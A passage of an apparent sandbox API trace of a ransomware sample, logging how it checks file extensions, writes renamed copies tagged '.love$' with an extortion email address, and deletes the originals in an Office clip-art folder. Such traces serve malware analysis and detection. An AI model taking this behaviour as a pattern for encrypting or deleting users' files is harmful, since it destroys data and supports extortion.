lpNumberOfBytesRead=0x2d4fecc*=0x20ae, lpOverlapped=0x0) returned 1 [0237.755] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x20b0, lpOverlapped=0x0) returned 1 [0237.756] ReadFile (in: hFile=0x4e0, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0237.756] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0237.756] SetEndOfFile (hFile=0x4e4) returned 1 [0239.323] CloseHandle (hObject=0x4e4) returned 1 [0239.323] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.323] SetEndOfFile (hFile=0x4e0) returned 1 [0239.326] CloseHandle (hObject=0x4e0) returned 1 [0239.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0239.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0239.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.328] lstrlenW (lpString=".doc") returned 4 [0239.328] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.328] lstrlenW (lpString=".docx") returned 5 [0239.328] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.328] lstrlenW (lpString=".pdf") returned 4 [0239.328] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.328] lstrlenW (lpString=".xls") returned 4 [0239.328] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.328] lstrlenW (lpString=".xlsx") returned 5 [0239.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.328] lstrlenW (lpString=".ppt") returned 4 [0239.328] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.329] lstrlenW (lpString=".zip") returned 4 [0239.329] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.329] lstrlenW (lpString=".rar") returned 4 [0239.329] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString=".bz2") returned 4 [0239.329] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString=".7z") returned 3 [0239.329] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.329] lstrlenW (lpString=".dbf") returned 4 [0239.329] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.329] lstrlenW (lpString=".1cd") returned 4 [0239.329] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.329] lstrlenW (lpString=".jpg") returned 4 [0239.329] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.329] lstrlenW (lpString=".doc") returned 4 [0239.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString=".docx") returned 5 [0239.329] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.329] lstrlenW (lpString=".pdf") returned 4 [0239.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.329] lstrlenW (lpString=".xls") returned 4 [0239.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.329] lstrlenW (lpString=".xlsx") returned 5 [0239.330] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.330] lstrlenW (lpString=".ppt") returned 4 [0239.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.330] lstrlenW (lpString=".zip") returned 4 [0239.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.330] lstrlenW (lpString=".rar") returned 4 [0239.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.330] lstrlenW (lpString=".bz2") returned 4 [0239.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.330] lstrlenW (lpString=".7z") returned 3 [0239.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.330] lstrlenW (lpString=".dbf") returned 4 [0239.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.330] lstrlenW (lpString=".1cd") returned 4 [0239.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0239.330] lstrlenW (lpString=".jpg") returned 4 [0239.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.330] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0239.330] lstrlenW (lpString="BS00453_.WMF") returned 12 [0239.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.332] GetFileSizeEx (in: hFile=0x4e0, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2436) returned 1 [0239.332] CloseHandle (hObject=0x4e0) returned 1 [0239.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x220 [0239.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0239.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0239.333] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.333] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0239.334] GetLastError () returned 0x0 [0239.334] ReadFile (in: hFile=0x4e0, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x984, lpOverlapped=0x0) returned 1 [0239.672] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x990, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x990, lpOverlapped=0x0) returned 1 [0239.673] ReadFile (in: hFile=0x4e0, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0239.673] WriteFile (in: hFile=0x4e4, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0239.673] SetEndOfFile (hFile=0x4e4) returned 1 [0239.720] CloseHandle (hObject=0x4e4) returned 1 [0239.720] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0239.720] SetEndOfFile (hFile=0x4e0) returned 1 [0239.784] CloseHandle (hObject=0x4e0) returned 1 [0239.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00453_.wmf")) returned 1 [0240.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.752] lstrlenW (lpString=".doc") returned 4 [0240.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.752] lstrlenW (lpString=".docx") returned 5 [0240.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.752] lstrlenW (lpString=".pdf") returned 4 [0240.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.752] lstrlenW (lpString=".xls") returned 4 [0240.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.752] lstrlenW (lpString=".xlsx") returned 5 [0240.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.753] lstrlenW (lpString=".ppt") returned 4 [0240.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.753] lstrlenW (lpString=".zip") returned 4 [0240.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.753] lstrlenW (lpString=".rar") returned 4 [0240.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString=".bz2") returned 4 [0240.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString=".7z") returned 3 [0240.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.753] lstrlenW (lpString=".dbf") returned 4 [0240.753] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.753] lstrlenW (lpString=".1cd") returned 4 [0240.753] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.753] lstrlenW (lpString=".jpg") returned 4 [0240.753] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.753] lstrlenW (lpString=".doc") returned 4 [0240.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString=".docx") returned 5 [0240.754] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.754] lstrlenW (lpString=".pdf") returned 4 [0240.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString=".xls") returned 4 [0240.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.754] lstrlenW (lpString=".xlsx") returned 5 [0240.754] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.754] lstrlenW (lpString=".ppt") returned 4 [0240.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.754] lstrlenW (lpString=".zip") returned 4 [0240.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.754] lstrlenW (lpString=".rar") returned 4 [0240.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString=".bz2") returned 4 [0240.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString=".7z") returned 3 [0240.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.754] lstrlenW (lpString=".dbf") returned 4 [0240.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.754] lstrlenW (lpString=".1cd") returned 4 [0240.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00453_.WMF") returned 68 [0240.754] lstrlenW (lpString=".jpg") returned 4 [0240.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.755] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.755] lstrlenW (lpString="CLASSIC2.WMF") returned 12 [0240.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.758] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2262) returned 1 [0240.758] CloseHandle (hObject=0x388) returned 1 [0240.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220 [0240.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0240.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.759] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0240.761] GetLastError () returned 0x0 [0240.761] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0240.763] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0240.765] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0240.765] WriteFile (in: hFile=0x4c8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0240.765] SetEndOfFile (hFile=0x4c8) returned 1 [0240.765] CloseHandle (hObject=0x4c8) returned 1 [0240.765] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0240.766] SetEndOfFile (hFile=0x388) returned 1 [0240.772] CloseHandle (hObject=0x388) returned 1 [0240.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0240.773] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1 [0240.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.773] lstrlenW (lpString=".doc") returned 4 [0240.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString=".docx") returned 5 [0240.774] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0240.774] lstrlenW (lpString=".pdf") returned 4 [0240.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString=".xls") returned 4 [0240.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.774] lstrlenW (lpString=".xlsx") returned 5 [0240.774] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0240.774] lstrlenW (lpString=".ppt") returned 4 [0240.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.774] lstrlenW (lpString=".zip") returned 4 [0240.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.774] lstrlenW (lpString=".rar") returned 4 [0240.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString=".bz2") returned 4 [0240.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString=".7z") returned 3 [0240.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.774] lstrlenW (lpString=".dbf") returned 4 [0240.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.774] lstrlenW (lpString=".1cd") returned 4 [0240.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.774] lstrlenW (lpString=".jpg") returned 4 [0240.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.775] lstrlenW (lpString=".doc") returned 4 [0240.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString=".docx") returned 5 [0240.775] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0240.775] lstrlenW (lpString=".pdf") returned 4 [0240.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString=".xls") returned 4 [0240.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.775] lstrlenW (lpString=".xlsx") returned 5 [0240.775] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0240.775] lstrlenW (lpString=".ppt") returned 4 [0240.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.775] lstrlenW (lpString=".zip") returned 4 [0240.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.775] lstrlenW (lpString=".rar") returned 4 [0240.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString=".bz2") returned 4 [0240.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString=".7z") returned 3 [0240.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.775] lstrlenW (lpString=".dbf") returned 4 [0240.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.775] lstrlenW (lpString=".1cd") returned 4 [0240.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0240.775] lstrlenW (lpString=".jpg") returned 4 [0240.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.776] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0240.776] lstrlenW (lpString="CLIP.WMF") returned 8 [0240.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.777] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2262) returned 1 [0240.777] CloseHandle (hObject=0x388) returned 1 [0241.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220 [0241.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0241.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.212] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0241.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0241.213] GetLastError () returned 0x0 [0241.213] ReadFile (in: hFile=0x388, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x8d6, lpOverlapped=0x0) returned 1 [0241.235] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8e0, lpOverlapped=0x0) returned 1 [0241.237] 